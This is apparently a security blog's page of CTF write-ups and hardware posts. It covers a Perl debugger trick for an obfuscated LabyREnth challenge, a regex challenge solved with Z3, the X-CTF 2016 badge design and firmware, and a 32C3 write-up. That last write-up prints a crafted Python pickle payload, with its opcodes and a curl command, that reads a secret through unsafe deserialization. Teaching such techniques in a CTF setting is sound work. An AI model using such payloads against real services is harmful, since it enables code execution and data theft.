LabyREnth 2016 Write-up: “”

Unix track #1 –

This is a Perl script which is really large (3MB). When you open it up, you’ll see it request input from STDIN, then compares it against these concatenated chars like so:

my $input = <STDIN>;
$input = trim($input); 
if ($input eq (chr(5156 - 5035) . chr(-4615 - -4716) . chr(3162 - 3047))) {

It then has a lot of MIME::Base64::decode() statements, which seem to be building up data in variable $a. Only if the input matches does it go further into the nested if‘s and performs more decoding. Otherwise it just borks.

If you follow further, you’ll notice that at some point it calls eval() with even more Base64-decoded code.

Perl’s Debugging Hooks

One interesting thing I learnt while solving this challenge was that Perl internally has some mechanisms for debugging, allowing you to easily write your own debugger. How easy? You can fit a tracer into a one-liner like so:

PERL5DB='sub DB::DB {my @c=caller;print STDERR qq|@c[1,2] ${"::_<$c[1]"}[$c[2]]|}' \
perl -d

So the gist of solving this challenge would be to check what $input is being compared to, set that into the $input variable, and let ‘er rip. The beauty of this method is, it will even handle the eval() for you. You don’t need to separately decode it and put it back in, or run it as a separate script.

You can find my solver script here. Everything happens in the DB::DB function, which is called before a statement is executed. It then waits for if ($input eq ...) statement, transforms that into an assignment statement and evals it in the program’s context. The rest of the code are just stolen from the Perl debugger to save and restore program context (or something like that).

Save the script as Devel/, then run the script like so:

perl -d:Tracer < /dev/null

After the script is done, you should get a entrevue.gif dropped in the current directory. That image is a picture of David Bowie with the flag written over him.

I learn new things every time I play CTF.

If you found this Perl debugger thing interesting, you can take a look at these links:

LabyREnth 2016 Write-up: “Regex”

Random track #2 – Regex

This is a challenge involving regular expressions. It reads the huge expression from the file omglob_what_is_dis_crap.txt. The code that reads and evaluates this expression will only provide you with the key if you provide it with an input that doesn’t match this expression. Of course the program runs on a remote server, so you don’t have direct access to the flag.

Inspecting the expression, there’s a lot of “OR” conditions, and splitting them into lines gets you something like this:


If this looks familiar to you, it’s because a similar challenge appeared in PlaidCTF 2015. I solved and wrote about the challenge here using Z3 (an SMT solver).

Basically the first 3 lines of expressions at the start dictate what characters can appear in the input, as well its length (191, in this case). This, however, is a watered-down challenge compared to the PlaidCTF one. You do not need to use Z3 in this case. To illustrate what I mean, if you sort each of the regex part in numeric order using sort -k 1.3n, you get this:


Using a script, you can easily piece together what characters should (not) go into each position, and thus, construct the correct input to feed to the server.

Because I’m lazy, I decided to re-use my solver script from last time. At that time, the character set was "plaidctf" but this time round it’s "0mglo8sc1enC3", the length of which is unable to fit exactly into N bits (not a power of 2). So I made a few modifications to make it use Z3 Ints instead of a BitVec to support arbitrary string lengths. Fortunately I did a good enough regex parser the last time, so that worked out of the box. (Never did I imagine that it would ever be re-used again.) Now all you need to do is to change the valid character set and length of the flag at the top of the solver script, and off it goes!

I said this was watered-down because Z3 took about 20 minutes the last time to solve PlaidCTF’s constraints. This, on the other hand, took less than one second.

X-CTF 2016 Badge Firmware

As promised, we are releasing the source code for the X-CTF badge, about 1 month after the event to give interested participants the chance to take a crack at it. If you are interested in the badge design process, check out my previous post on the hardware aspects.

Jeremias and Jeremy gave a talk at one of the Null Security meetups. Check out the slides if you haven’t already. In one part, Jeremy talks about the custom firmware he wrote for his badge and the additional challenges he set up for partipants to get more points. The 2nd part of the talk covers the electronic badge and challenges.

The Challenges

The challenges try to exploit the nature of being a self-contained electronic device. Rather than trying to replicate more CTF puzzles and simply placing them into the badge, we specially designed them for the badge.

You can find the answers to the badge puzzles (and the main CTF puzzles) in the X-CTF GitHub repo, which was released shortly after the event.

Since there’s only a single entry point into the set of challenges (meaning you must solve each puzzle before getting to the next), the puzzles must be designed with increasing levels of difficulty; too difficult and the participants will totally give up.

Stage 1: Catch Me If You Can

animation of challenge 1

I particularly like this one. Unlike a program running on the computer, you can’t easily snapshot the state of the program, nor try to influence (slow down) its execution.

Continue reading

Designing the X-CTF 2016 Badge

X-CTF 2016 badge with Lithium-ion battery attached

I had the opportunity to collaborate with some NUS students to design the electronic badge for their X-CTF event this year.

The purpose of the badge was to inspire more people to take an interest in hardware hacking, or to get them started on electronics. With so much hype on the Internet-of-Things (IoT) these days, what better idea than to let participants take home their very own IoT device. The super low cost WiFi chip, Expressif’s ESP8266, made this possible. We also wanted it to be shaped like a gaming device, with a D-pad and an LCD.

You can see the final badge design above: a ESP8266-based board with a backlit monochrome Nokia LCD, D-pad and a SELECT button. Powered by a lithium-ion battery, charged via the USB port, which also provides a serial connection to the ESP8266.

I was inspired by the SyScan 2015 badge. It was so simple and spartan: a monochrome LCD, an LED, a 5-way joystick switch and a 32-bit ARM processor (on the back). As the regulator was built-in and it runs all the way down to 2.4V, there was no need for an external regulator.

SyScan 2015 electronic badge

Continue reading

32C3 CTF Write-up: gurke

gurke (misc)

For this challenge, you are provided with a Python-based service that accepts a pickle and displays the result. You will need to coerce it to display the flag though, which is initialized at the start of the service.

The service can be succinctly represented as follows:

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("", 1234))
        self.flag = s.recv(1024).strip()
flag = Flag()


data =, 4096)
    res = pickle.loads(data)
    print 'res: %r\n' % res except Exception as e:
    print >>sys.stderr, "exception", repr(e)

In between there’s a omitted portion that uses seccomp to make sure you don’t obtain the flag through the socket connection. In essence, you need to cause the unpickling process to read the flag attribute from the Flag instance.

Pickling and unpickling is quite commonly used in Python for persistence, much like Java’s serialization mechanism. However, it is implemented in Python using a simple stack-based virtual machine. By sending a specially-crafted pickle, we can cause arbitrary code execution. The Python code to read the flag looks something like this:

a = __main__.flag
return __builtin__.getattr(a, 'flag')

This has to be converted into the Pickle VM opcodes by hand. You can see below that the pickle opcodes are quite a close match to the Python code. Also note that Python has a handy disassembler that dumps the pickle opcodes:

import pickletools

exploit = """c__main__\nflag


  0: c    GLOBAL     '__main__ flag'
 15: p    PUT        100
 20: 0    POP
 21: c    GLOBAL     '__builtin__ getattr'
 42: (    MARK
 43: g        GET        100
 48: S        STRING     'flag'
 56: t        TUPLE      (MARK at 42)
 57: R    REDUCE
 58: .    STOP

Note that Python triple-quotes will capture newlines into the string. Now the exploit pickle needs to be placed in a file and sent off using curl to our target:

$ curl -vv -X POST --data-binary @t.pickle
* About to connect() to port 80 (#0)
*   Trying connected
* Connected to ( port 80 (#0)
> POST / HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host:
> Accept: */*
> Content-Length: 60
> Content-Type: application/x-www-form-urlencoded
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
* no chunk, no close, no size. Assume close to signal end
1: res: '32c3_rooDahPaeR3JaibahYeigoong'

retval: 0
* Closing connection #0

Further reading for Python pickles and security: